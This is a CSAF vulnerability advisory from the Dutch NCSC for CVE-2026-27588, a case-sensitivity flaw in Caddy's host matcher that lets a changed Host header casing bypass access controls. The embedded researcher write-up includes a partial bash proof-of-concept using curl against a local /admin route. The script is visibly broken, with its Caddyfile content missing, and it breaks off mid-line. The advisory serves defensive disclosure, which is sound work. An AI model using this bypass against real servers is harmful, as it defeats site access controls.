{ "document": { "category": "csaf_base", "csaf_version": "2.0", "distribution": { "tlp": { "label": "WHITE" } }, "lang": "en", "notes": [ { "category": "legal_disclaimer", "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings." } ], "publisher": { "category": "coordinator", "contact_details": "cert@ncsc.nl", "name": "National Cyber Security Centre", "namespace": "https://www.ncsc.nl/" }, "title": "CVE-2026-27588", "tracking": { "current_release_date": "2026-03-26T18:49:08.296526Z", "generator": { "date": "2026-02-17T15:00:00Z", "engine": { "name": "V.E.L.M.A", "version": "1.7" } }, "id": "CVE-2026-27588", "initial_release_date": "2026-02-24T17:52:41.066011Z", "revision_history": [ { "date": "2026-02-24T17:52:41.066011Z", "number": "1", "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| References created (2).| CWES updated (1)." }, { "date": "2026-02-24T17:52:47.242300Z", "number": "2", "summary": "NCSC Score created." }, { "date": "2026-02-24T18:26:26.393843Z", "number": "3", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)." }, { "date": "2026-02-24T18:26:29.805933Z", "number": "4", "summary": "NCSC Score updated." }, { "date": "2026-02-24T20:39:52.117974Z", "number": "5", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (5).| CWES updated (1)." }, { "date": "2026-02-24T20:40:05.049072Z", "number": "6", "summary": "NCSC Score updated." }, { "date": "2026-02-25T00:12:55.955020Z", "number": "7", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| References created (4).| CWES updated (1)." }, { "date": "2026-02-25T00:20:13.119329Z", "number": "8", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (94).| References created (4).| CWES updated (1)." }, { "date": "2026-02-25T00:42:41.101271Z", "number": "9", "summary": "Source created.| CVE status created. (valid)| Products connected (1)." }, { "date": "2026-02-25T00:42:43.536078Z", "number": "10", "summary": "NCSC Score updated." }, { "date": "2026-02-25T06:42:55.027401Z", "number": "11", "summary": "Description created for source." }, { "date": "2026-02-25T15:13:52.164062Z", "number": "12", "summary": "Source created.| CVE status created. (valid)| EPSS created." }, { "date": "2026-02-25T15:13:53.809239Z", "number": "13", "summary": "NCSC Score updated." }, { "date": "2026-02-25T17:27:57.923831Z", "number": "14", "summary": "CVSS created.| Products connected (1).| Product Identifiers created (1).| Exploits created (1)." }, { "date": "2026-02-25T17:28:06.800640Z", "number": "15", "summary": "NCSC Score updated." }, { "date": "2026-02-27T00:12:55.201255Z", "number": "16", "summary": "Source created.| CVE status created. (valid)| Description created for source.| References created (3)." }, { "date": "2026-02-27T00:12:57.244111Z", "number": "17", "summary": "NCSC Score updated." }, { "date": "2026-02-27T12:10:55.844130Z", "number": "18", "summary": "Products connected (4)." }, { "date": "2026-02-27T12:11:08.706487Z", "number": "19", "summary": "NCSC Score updated." }, { "date": "2026-02-27T20:39:35.118195Z", "number": "20", "summary": "References created (1)." }, { "date": "2026-02-27T20:39:40.688594Z", "number": "21", "summary": "NCSC Score updated." }, { "date": "2026-02-27T21:39:05.393311Z", "number": "22", "summary": "Unknown change." }, { "date": "2026-02-28T00:12:40.915479Z", "number": "23", "summary": "References created (1)." }, { "date": "2026-03-20T09:40:38.585364Z", "number": "24", "summary": "Source connected.| CVE status created. (valid)| EPSS created." }, { "date": "2026-03-20T09:40:42.169416Z", "number": "25", "summary": "NCSC Score updated." }, { "date": "2026-03-26T02:10:12.904436Z", "number": "26", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (12).| Product Identifiers created (10).| References created (4)." }, { "date": "2026-03-26T02:10:20.790525Z", "number": "27", "summary": "NCSC Score updated." }, { "date": "2026-03-26T18:47:56.971906Z", "number": "28", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (2).| References created (7).| CWES updated (1)." }, { "date": "2026-03-26T18:47:59.322672Z", "number": "29", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (2).| References created (6).| CWES updated (1)." }, { "date": "2026-03-26T18:48:01.948359Z", "number": "30", "summary": "NCSC Score updated." } ], "status": "interim", "version": "30" } }, "product_tree": { "branches": [ { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/<2.11.1", "product": { "name": "vers:unknown/<2.11.1", "product_id": "CSAFPID-5688699", "product_identification_helper": { "cpe": "cpe:2.3:a:caddyserver:caddy:*:*:*:*:*:*:*:*" } } }, { "category": "product_version_range", "name": "vers:unknown/>=0|<2.11.1", "product": { "name": "vers:unknown/>=0|<2.11.1", "product_id": "CSAFPID-5700114" } }, { "category": "product_version_range", "name": "vers:unknown/>=2.10.2|<2.11.1", "product": { "name": "vers:unknown/>=2.10.2|<2.11.1", "product_id": "CSAFPID-5706479", "product_identification_helper": { "cpe": "cpe:2.3:a:caddyserver:caddy:*:*:*:*:*:*:*:*" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.0", "product": { "name": "vers:unknown/v2.0.0", "product_id": "CSAFPID-4034332" } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.0-beta.13", "product": { "name": "vers:unknown/v2.0.0-beta.13", "product_id": "CSAFPID-4034342" } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.0-beta.14", "product": { "name": "vers:unknown/v2.0.0-beta.14", "product_id": "CSAFPID-4034343" } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.0-beta.15", "product": { "name": "vers:unknown/v2.0.0-beta.15", "product_id": "CSAFPID-4034344" } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.0-beta.16", "product": { "name": "vers:unknown/v2.0.0-beta.16", "product_id": "CSAFPID-4034345" } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.0-beta.17", "product": { "name": "vers:unknown/v2.0.0-beta.17", "product_id": "CSAFPID-4034346" } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.0-beta.18", "product": { "name": "vers:unknown/v2.0.0-beta.18", "product_id": "CSAFPID-4034347" } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.0-beta.19", "product": { "name": "vers:unknown/v2.0.0-beta.19", "product_id": "CSAFPID-4034348" } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.0-beta.20", "product": { "name": "vers:unknown/v2.0.0-beta.20", "product_id": "CSAFPID-4034349" } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.0-beta1", "product": { "name": "vers:unknown/v2.0.0-beta1", "product_id": "CSAFPID-4034350" } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.0-beta10", "product": { "name": "vers:unknown/v2.0.0-beta10", "product_id": "CSAFPID-4034351" } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.0-beta11", "product": { "name": "vers:unknown/v2.0.0-beta11", "product_id": "CSAFPID-4034352" } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.0-beta12", "product": { "name": "vers:unknown/v2.0.0-beta12", "product_id": "CSAFPID-4034353" } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.0-beta2", "product": { "name": "vers:unknown/v2.0.0-beta2", "product_id": "CSAFPID-4034354" } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.0-beta3", "product": { "name": "vers:unknown/v2.0.0-beta3", "product_id": "CSAFPID-4034355" } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.0-beta4", "product": { "name": "vers:unknown/v2.0.0-beta4", "product_id": "CSAFPID-4034356" } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.0-beta5", "product": { "name": "vers:unknown/v2.0.0-beta5", "product_id": "CSAFPID-4034357" } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.0-beta6", "product": { "name": "vers:unknown/v2.0.0-beta6", "product_id": "CSAFPID-4034358" } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.0-beta7", "product": { "name": "vers:unknown/v2.0.0-beta7", "product_id": "CSAFPID-4034359" } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.0-beta8", "product": { "name": "vers:unknown/v2.0.0-beta8", "product_id": "CSAFPID-4034360" } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.0-beta9", "product": { "name": "vers:unknown/v2.0.0-beta9", "product_id": "CSAFPID-4034361" } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.0-rc.1", "product": { "name": "vers:unknown/v2.0.0-rc.1", "product_id": "CSAFPID-4034362" } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.0-rc.2", "product": { "name": "vers:unknown/v2.0.0-rc.2", "product_id": "CSAFPID-4034363" } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.0-rc.3", "product": { "name": "vers:unknown/v2.0.0-rc.3", "product_id": "CSAFPID-4034364" } }, { "category": "product_version_range", "name": "vers:unknown/v2.1.0", "product": { "name": "vers:unknown/v2.1.0", "product_id": "CSAFPID-4034378" } }, { "category": "product_version_range", "name": "vers:unknown/v2.1.0-beta.1", "product": { "name": "vers:unknown/v2.1.0-beta.1", "product_id": "CSAFPID-4034379" } }, { "category": "product_version_range", "name": "vers:unknown/v2.1.0-beta.2", "product": { "name": "vers:unknown/v2.1.0-beta.2", "product_id": "CSAFPID-4034380" } }, { "category": "product_version_range", "name": "vers:unknown/v2.1.1", "product": { "name": "vers:unknown/v2.1.1", "product_id": "CSAFPID-4034387" } }, { "category": "product_version_range", "name": "vers:unknown/v2.10.0", "product": { "name": "vers:unknown/v2.10.0", "product_id": "CSAFPID-5700154" } }, { "category": "product_version_range", "name": "vers:unknown/v2.10.0-beta.1", "product": { "name": "vers:unknown/v2.10.0-beta.1", "product_id": "CSAFPID-5700155" } }, { "category": "product_version_range", "name": "vers:unknown/v2.10.0-beta.2", "product": { "name": "vers:unknown/v2.10.0-beta.2", "product_id": "CSAFPID-5700156" } }, { "category": "product_version_range", "name": "vers:unknown/v2.10.0-beta.3", "product": { "name": "vers:unknown/v2.10.0-beta.3", "product_id": "CSAFPID-5700157" } }, { "category": "product_version_range", "name": "vers:unknown/v2.10.0-beta.4", "product": { "name": "vers:unknown/v2.10.0-beta.4", "product_id": "CSAFPID-5700158" } }, { "category": "product_version_range", "name": "vers:unknown/v2.10.1", "product": { "name": "vers:unknown/v2.10.1", "product_id": "CSAFPID-5700159" } }, { "category": "product_version_range", "name": "vers:unknown/v2.10.2", "product": { "name": "vers:unknown/v2.10.2", "product_id": "CSAFPID-5700160" } }, { "category": "product_version_range", "name": "vers:unknown/v2.11.0", "product": { "name": "vers:unknown/v2.11.0", "product_id": "CSAFPID-5700161" } }, { "category": "product_version_range", "name": "vers:unknown/v2.11.0-beta.1", "product": { "name": "vers:unknown/v2.11.0-beta.1", "product_id": "CSAFPID-5700162" } }, { "category": "product_version_range", "name": "vers:unknown/v2.11.0-beta.2", "product": { "name": "vers:unknown/v2.11.0-beta.2", "product_id": "CSAFPID-5700163" } }, { "category": "product_version_range", "name": "vers:unknown/v2.2.0", "product": { "name": "vers:unknown/v2.2.0", "product_id": "CSAFPID-4034396" } }, { "category": "product_version_range", "name": "vers:unknown/v2.2.0-rc.1", "product": { "name": "vers:unknown/v2.2.0-rc.1", "product_id": "CSAFPID-4034400" } }, { "category": "product_version_range", "name": "vers:unknown/v2.2.0-rc.2", "product": { "name": "vers:unknown/v2.2.0-rc.2", "product_id": "CSAFPID-4034401" } }, { "category": "product_version_range", "name": "vers:unknown/v2.2.0-rc.3", "product": { "name": "vers:unknown/v2.2.0-rc.3", "product_id": "CSAFPID-4034402" } }, { "category": "product_version_range", "name": "vers:unknown/v2.2.1", "product": { "name": "vers:unknown/v2.2.1", "product_id": "CSAFPID-4034407" } }, { "category": "product_version_range", "name": "vers:unknown/v2.2.3", "product": { "name": "vers:unknown/v2.2.3", "product_id": "CSAFPID-4034411" } }, { "category": "product_version_range", "name": "vers:unknown/v2.3.0", "product": { "name": "vers:unknown/v2.3.0", "product_id": "CSAFPID-4034417" } }, { "category": "product_version_range", "name": "vers:unknown/v2.3.0-beta.1", "product": { "name": "vers:unknown/v2.3.0-beta.1", "product_id": "CSAFPID-4034418" } }, { "category": "product_version_range", "name": "vers:unknown/v2.3.0-rc.1", "product": { "name": "vers:unknown/v2.3.0-rc.1", "product_id": "CSAFPID-4034419" } }, { "category": "product_version_range", "name": "vers:unknown/v2.3.0-rc.2", "product": { "name": "vers:unknown/v2.3.0-rc.2", "product_id": "CSAFPID-4034420" } }, { "category": "product_version_range", "name": "vers:unknown/v2.4.0", "product": { "name": "vers:unknown/v2.4.0", "product_id": "CSAFPID-4034435" } }, { "category": "product_version_range", "name": "vers:unknown/v2.4.0-beta.1", "product": { "name": "vers:unknown/v2.4.0-beta.1", "product_id": "CSAFPID-4034436" } }, { "category": "product_version_range", "name": "vers:unknown/v2.4.0-beta.2", "product": { "name": "vers:unknown/v2.4.0-beta.2", "product_id": "CSAFPID-4034437" } }, { "category": "product_version_range", "name": "vers:unknown/v2.4.0-rc.1", "product": { "name": "vers:unknown/v2.4.0-rc.1", "product_id": "CSAFPID-4034438" } }, { "category": "product_version_range", "name": "vers:unknown/v2.4.1", "product": { "name": "vers:unknown/v2.4.1", "product_id": "CSAFPID-4034441" } }, { "category": "product_version_range", "name": "vers:unknown/v2.4.2", "product": { "name": "vers:unknown/v2.4.2", "product_id": "CSAFPID-4034447" } }, { "category": "product_version_range", "name": "vers:unknown/v2.4.3", "product": { "name": "vers:unknown/v2.4.3", "product_id": "CSAFPID-4034448" } }, { "category": "product_version_range", "name": "vers:unknown/v2.4.4", "product": { "name": "vers:unknown/v2.4.4", "product_id": "CSAFPID-4034449" } }, { "category": "product_version_range", "name": "vers:unknown/v2.4.5", "product": { "name": "vers:unknown/v2.4.5", "product_id": "CSAFPID-4034450" } }, { "category": "product_version_range", "name": "vers:unknown/v2.4.6", "product": { "name": "vers:unknown/v2.4.6", "product_id": "CSAFPID-4034451" } }, { "category": "product_version_range", "name": "vers:unknown/v2.5.0", "product": { "name": "vers:unknown/v2.5.0", "product_id": "CSAFPID-4034455" } }, { "category": "product_version_range", "name": "vers:unknown/v2.5.0-beta.1", "product": { "name": "vers:unknown/v2.5.0-beta.1", "product_id": "CSAFPID-4034456" } }, { "category": "product_version_range", "name": "vers:unknown/v2.5.0-rc.1", "product": { "name": "vers:unknown/v2.5.0-rc.1", "product_id": "CSAFPID-4034457" } }, { "category": "product_version_range", "name": "vers:unknown/v2.5.1", "product": { "name": "vers:unknown/v2.5.1", "product_id": "CSAFPID-4034464" } }, { "category": "product_version_range", "name": "vers:unknown/v2.5.2", "product": { "name": "vers:unknown/v2.5.2", "product_id": "CSAFPID-4034465" } }, { "category": "product_version_range", "name": "vers:unknown/v2.6.0", "product": { "name": "vers:unknown/v2.6.0", "product_id": "CSAFPID-4034466" } }, { "category": "product_version_range", "name": "vers:unknown/v2.6.0-beta.1", "product": { "name": "vers:unknown/v2.6.0-beta.1", "product_id": "CSAFPID-4034467" } }, { "category": "product_version_range", "name": "vers:unknown/v2.6.0-beta.2", "product": { "name": "vers:unknown/v2.6.0-beta.2", "product_id": "CSAFPID-4034468" } }, { "category": "product_version_range", "name": "vers:unknown/v2.6.0-beta.3", "product": { "name": "vers:unknown/v2.6.0-beta.3", "product_id": "CSAFPID-4034469" } }, { "category": "product_version_range", "name": "vers:unknown/v2.6.0-beta.4", "product": { "name": "vers:unknown/v2.6.0-beta.4", "product_id": "CSAFPID-4034470" } }, { "category": "product_version_range", "name": "vers:unknown/v2.6.0-beta.5", "product": { "name": "vers:unknown/v2.6.0-beta.5", "product_id": "CSAFPID-4034471" } }, { "category": "product_version_range", "name": "vers:unknown/v2.6.1", "product": { "name": "vers:unknown/v2.6.1", "product_id": "CSAFPID-4034472" } }, { "category": "product_version_range", "name": "vers:unknown/v2.6.2", "product": { "name": "vers:unknown/v2.6.2", "product_id": "CSAFPID-4034473" } }, { "category": "product_version_range", "name": "vers:unknown/v2.6.3", "product": { "name": "vers:unknown/v2.6.3", "product_id": "CSAFPID-4034474" } }, { "category": "product_version_range", "name": "vers:unknown/v2.6.4", "product": { "name": "vers:unknown/v2.6.4", "product_id": "CSAFPID-4034475" } }, { "category": "product_version_range", "name": "vers:unknown/v2.7.0", "product": { "name": "vers:unknown/v2.7.0", "product_id": "CSAFPID-4034476" } }, { "category": "product_version_range", "name": "vers:unknown/v2.7.0-beta.1", "product": { "name": "vers:unknown/v2.7.0-beta.1", "product_id": "CSAFPID-4034477" } }, { "category": "product_version_range", "name": "vers:unknown/v2.7.0-beta.2", "product": { "name": "vers:unknown/v2.7.0-beta.2", "product_id": "CSAFPID-4034478" } }, { "category": "product_version_range", "name": "vers:unknown/v2.7.1", "product": { "name": "vers:unknown/v2.7.1", "product_id": "CSAFPID-4034479" } }, { "category": "product_version_range", "name": "vers:unknown/v2.7.2", "product": { "name": "vers:unknown/v2.7.2", "product_id": "CSAFPID-4034480" } }, { "category": "product_version_range", "name": "vers:unknown/v2.7.3", "product": { "name": "vers:unknown/v2.7.3", "product_id": "CSAFPID-4034481" } }, { "category": "product_version_range", "name": "vers:unknown/v2.7.4", "product": { "name": "vers:unknown/v2.7.4", "product_id": "CSAFPID-4034482" } }, { "category": "product_version_range", "name": "vers:unknown/v2.7.5", "product": { "name": "vers:unknown/v2.7.5", "product_id": "CSAFPID-5700164" } }, { "category": "product_version_range", "name": "vers:unknown/v2.8.0", "product": { "name": "vers:unknown/v2.8.0", "product_id": "CSAFPID-5700165" } }, { "category": "product_version_range", "name": "vers:unknown/v2.8.0-beta.1", "product": { "name": "vers:unknown/v2.8.0-beta.1", "product_id": "CSAFPID-5700166" } }, { "category": "product_version_range", "name": "vers:unknown/v2.8.0-beta.2", "product": { "name": "vers:unknown/v2.8.0-beta.2", "product_id": "CSAFPID-5700167" } }, { "category": "product_version_range", "name": "vers:unknown/v2.8.0-rc.1", "product": { "name": "vers:unknown/v2.8.0-rc.1", "product_id": "CSAFPID-5700168" } }, { "category": "product_version_range", "name": "vers:unknown/v2.8.1", "product": { "name": "vers:unknown/v2.8.1", "product_id": "CSAFPID-5700169" } }, { "category": "product_version_range", "name": "vers:unknown/v2.8.2", "product": { "name": "vers:unknown/v2.8.2", "product_id": "CSAFPID-5700170" } }, { "category": "product_version_range", "name": "vers:unknown/v2.8.3", "product": { "name": "vers:unknown/v2.8.3", "product_id": "CSAFPID-5700171" } }, { "category": "product_version_range", "name": "vers:unknown/v2.8.4", "product": { "name": "vers:unknown/v2.8.4", "product_id": "CSAFPID-5700172" } }, { "category": "product_version_range", "name": "vers:unknown/v2.9.0", "product": { "name": "vers:unknown/v2.9.0", "product_id": "CSAFPID-5700173" } }, { "category": "product_version_range", "name": "vers:unknown/v2.9.0-beta.1", "product": { "name": "vers:unknown/v2.9.0-beta.1", "product_id": "CSAFPID-5700174" } }, { "category": "product_version_range", "name": "vers:unknown/v2.9.0-beta.2", "product": { "name": "vers:unknown/v2.9.0-beta.2", "product_id": "CSAFPID-5700175" } }, { "category": "product_version_range", "name": "vers:unknown/v2.9.0-beta.3", "product": { "name": "vers:unknown/v2.9.0-beta.3", "product_id": "CSAFPID-5700176" } }, { "category": "product_version_range", "name": "vers:unknown/v2.9.1", "product": { "name": "vers:unknown/v2.9.1", "product_id": "CSAFPID-5700177" } } ], "category": "product_name", "name": "Caddy" } ], "category": "vendor", "name": "Caddyserver" }, { "branches": [ { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:deb/unknown", "product": { "name": "vers:deb/unknown", "product_id": "CSAFPID-5700549" } } ], "category": "product_name", "name": "caddy" } ], "category": "product_family", "name": "bookworm" } ], "category": "vendor", "name": "Debian" }, { "branches": [ { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/2.6.2-11", "product": { "name": "vers:unknown/2.6.2-11", "product_id": "CSAFPID-5913758", "product_identification_helper": { "purl": "pkg:deb/ubuntu/caddy@2.6.2-11?arch=source&distro=questing" } } }, { "category": "product_version_range", "name": "vers:unknown/2.6.2-12", "product": { "name": "vers:unknown/2.6.2-12", "product_id": "CSAFPID-5913759", "product_identification_helper": { "purl": "pkg:deb/ubuntu/caddy@2.6.2-12?arch=source&distro=questing" } } }, { "category": "product_version_range", "name": "vers:unknown/2.6.2-9", "product": { "name": "vers:unknown/2.6.2-9", "product_id": "CSAFPID-5913757", "product_identification_helper": { "purl": "pkg:deb/ubuntu/caddy@2.6.2-9?arch=source&distro=questing" } } }, { "category": "product_version_range", "name": "vers:unknown/>=0", "product": { "name": "vers:unknown/>=0", "product_id": "CSAFPID-5913760" } } ], "category": "product_name", "name": "caddy" } ], "category": "product_family", "name": "Ubuntu:25.10" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/2.6.2-6", "product": { "name": "vers:unknown/2.6.2-6", "product_id": "CSAFPID-5913749", "product_identification_helper": { "purl": "pkg:deb/ubuntu/caddy@2.6.2-6?arch=source&distro=esm-apps/noble" } } }, { "category": "product_version_range", "name": "vers:unknown/2.6.2-6ubuntu0.24.04.1", "product": { "name": "vers:unknown/2.6.2-6ubuntu0.24.04.1", "product_id": "CSAFPID-5913750", "product_identification_helper": { "purl": "pkg:deb/ubuntu/caddy@2.6.2-6ubuntu0.24.04.1?arch=source&distro=esm-apps/noble" } } }, { "category": "product_version_range", "name": "vers:unknown/2.6.2-6ubuntu0.24.04.2", "product": { "name": "vers:unknown/2.6.2-6ubuntu0.24.04.2", "product_id": "CSAFPID-5913751", "product_identification_helper": { "purl": "pkg:deb/ubuntu/caddy@2.6.2-6ubuntu0.24.04.2?arch=source&distro=esm-apps/noble" } } }, { "category": "product_version_range", "name": "vers:unknown/2.6.2-6ubuntu0.24.04.2+esm1", "product": { "name": "vers:unknown/2.6.2-6ubuntu0.24.04.2+esm1", "product_id": "CSAFPID-5913752", "product_identification_helper": { "purl": "pkg:deb/ubuntu/caddy@2.6.2-6ubuntu0.24.04.2%2Besm1?arch=source&distro=esm-apps/noble" } } }, { "category": "product_version_range", "name": "vers:unknown/2.6.2-6ubuntu0.24.04.3", "product": { "name": "vers:unknown/2.6.2-6ubuntu0.24.04.3", "product_id": "CSAFPID-5913753", "product_identification_helper": { "purl": "pkg:deb/ubuntu/caddy@2.6.2-6ubuntu0.24.04.3?arch=source&distro=esm-apps/noble" } } }, { "category": "product_version_range", "name": "vers:unknown/2.6.2-6ubuntu0.24.04.3+esm1", "product": { "name": "vers:unknown/2.6.2-6ubuntu0.24.04.3+esm1", "product_id": "CSAFPID-5913754", "product_identification_helper": { "purl": "pkg:deb/ubuntu/caddy@2.6.2-6ubuntu0.24.04.3%2Besm1?arch=source&distro=esm-apps/noble" } } }, { "category": "product_version_range", "name": "vers:unknown/2.6.2-6ubuntu0.24.04.3+esm2", "product": { "name": "vers:unknown/2.6.2-6ubuntu0.24.04.3+esm2", "product_id": "CSAFPID-5913755", "product_identification_helper": { "purl": "pkg:deb/ubuntu/caddy@2.6.2-6ubuntu0.24.04.3%2Besm2?arch=source&distro=esm-apps/noble" } } }, { "category": "product_version_range", "name": "vers:unknown/>=0", "product": { "name": "vers:unknown/>=0", "product_id": "CSAFPID-5913756" } } ], "category": "product_name", "name": "caddy" } ], "category": "product_family", "name": "Ubuntu:Pro:24.04:LTS" } ], "category": "vendor", "name": "Ubuntu" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/v2.10.2", "product": { "name": "vers:unknown/v2.10.2", "product_id": "CSAFPID-5735034" } }, { "category": "product_version_range", "name": "vers:unknown/v2.11.0", "product": { "name": "vers:unknown/v2.11.0", "product_id": "CSAFPID-5735035" } }, { "category": "product_version_range", "name": "vers:unknown/v2.11.0-beta.1", "product": { "name": "vers:unknown/v2.11.0-beta.1", "product_id": "CSAFPID-5735036" } }, { "category": "product_version_range", "name": "vers:unknown/v2.11.0-beta.2", "product": { "name": "vers:unknown/v2.11.0-beta.2", "product_id": "CSAFPID-5735037" } } ], "category": "product_name", "name": "caddy" } ], "category": "vendor", "name": "mholt" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/2.11.1", "product": { "name": "vers:unknown/2.11.1", "product_id": "CSAFPID-5918973" } }, { "category": "product_version_range", "name": "vers:unknown/<2.11.1", "product": { "name": "vers:unknown/<2.11.1", "product_id": "CSAFPID-5918974" } } ], "category": "product_name", "name": "go/github.com/caddyserver/caddy/v2" } ], "category": "vendor", "name": "caddy" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/2.11.1", "product": { "name": "vers:unknown/2.11.1", "product_id": "CSAFPID-5918975" } }, { "category": "product_version_range", "name": "vers:unknown/<2.11.1", "product": { "name": "vers:unknown/<2.11.1", "product_id": "CSAFPID-5918976" } } ], "category": "product_name", "name": "go/github.com/caddyserver/caddy/v2/modules/caddyhttp" } ], "category": "vendor", "name": "modules" } ] }, "vulnerabilities": [ { "cve": "CVE-2026-27588", "cwe": { "id": "CWE-178", "name": "Improper Handling of Case Sensitivity" }, "notes": [ { "category": "description", "text": "Caddy is an extensible server platform that uses TLS by default. Prior to version 2.11.1, Caddy's HTTP `host` request matcher is documented as case-insensitive, but when configured with a large host list (>100 entries) it becomes case-sensitive due to an optimized matching path. An attacker can bypass host-based routing and any access controls attached to that route by changing the casing of the `Host` header. Version 2.11.1 contains a fix for the issue.", "title": "cveprojectv5 - https://www.cve.org/CVERecord?id=CVE-2026-27588" }, { "category": "description", "text": "Caddy is an extensible server platform that uses TLS by default. Prior to version 2.11.1, Caddy's HTTP `host` request matcher is documented as case-insensitive, but when configured with a large host list (>100 entries) it becomes case-sensitive due to an optimized matching path. An attacker can bypass host-based routing and any access controls attached to that route by changing the casing of the `Host` header. Version 2.11.1 contains a fix for the issue.", "title": "nvd - https://nvd.nist.gov/vuln/detail/CVE-2026-27588" }, { "category": "description", "text": "### Summary\nCaddy's HTTP `host` request matcher is documented as case-insensitive, but when configured with a large host list (>100 entries) it becomes case-sensitive due to an optimized matching path. An attacker can bypass host-based routing and any access controls attached to that route by changing the casing of the `Host` header.\n\n### Details\nIn Caddy `v2.10.2`, the `MatchHost` matcher states it matches the Host value case-insensitively:\n\n- `modules/caddyhttp/matchers.go`: `type MatchHost matches requests by the Host value (case-insensitive).`\n\nHowever, in `MatchHost.MatchWithError`, when the host list is considered \"large\" (`len(m) > 100`):\n\n- `MatchHost.large()` returns true for `len(m) > 100` (`modules/caddyhttp/matchers.go`, around the `large()` helper).\n- The matcher takes a \"fast path\" using binary search over the sorted host list, and checks for an exact match using a case-sensitive string comparison (`m[pos] == reqHost`).\n- After the fast path fails, the fallback loop short-circuits for large lists by breaking as soon as it reaches the first non-fuzzy entry. For configs comprised of exact hostnames only (no wildcards/placeholders), this prevents the `strings.EqualFold(reqHost, host)` check from ever running.\n\nNet effect: with a host list length of 101 or more, changing only the casing of the incoming `Host` header can cause the `host` matcher to not match when it should.\n\n#### Suggested fix\n- Normalize exact hostnames to lower-case during `MatchHost.Provision` (at least for non-fuzzy entries).\n- Normalize the incoming request host (`reqHost`) to lower-case before the large-list binary search + equality check, so the optimized path stays case-insensitive.\n\nReproduced on:\n- Stable release: `v2.10.2` -- this is the release I reference in the repro below.\n- Dev build: `v2.11.0-beta.2`.\n- Master tip: commit `58968b3fd38cacbf4b5e07cc8c8be27696dce60f`.\n\n### PoC\nPrereqs:\n- bash, curl\n- A pre-built Caddy binary available at `/opt/caddy-2.10.2/caddy` (edit `CADDY_BIN` in the script if needed)\n\n
\nScript (Click to expand)\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\nCADDY_BIN=\"/opt/caddy-2.10.2/caddy\"\nHOST=\"127.0.0.1\"\nPORT=\"8080\"\n\nTMPDIR=\"$(mktemp -d)\"\nCADDYFILE=\"${TMPDIR}/Caddyfile\"\nLOG=\"${TMPDIR}/caddy.log\"\n\ncleanup() {\n if [ -n \"${CADDY_PID:-}\" ] && kill -0 \"${CADDY_PID}\" 2>/dev/null; then\n kill \"${CADDY_PID}\" 2>/dev/null || true\n wait \"${CADDY_PID}\" 2>/dev/null || true\n fi\n rm -rf \"${TMPDIR}\" 2>/dev/null || true\n}\ntrap cleanup EXIT\n\nif [ ! -x \"${CADDY_BIN}\" ]; then\n echo \"error: missing caddy binary at ${CADDY_BIN}\" >&2\n exit 2\nfi\n\necho \"== Caddy version ==\"\n\"${CADDY_BIN}\" version\n\ncat >\"${CADDYFILE}\" <\"${LOG}\" 2>&1 &\nCADDY_PID=\"$!\"\n\nsleep 2\n\necho\necho \"== Request 1 (baseline - expect deny) ==\"\necho \"cmd: curl -v -H 'Host: h050.test' http://${HOST}:${PORT}/admin\"\ncurl -v -H \"Host: h050.test\" \"http://${HOST}:${PORT}/admin\" 2>&1 || true\n\necho\necho \"== Request 2 (BYPASS - expect allow) ==\"\necho \"cmd: 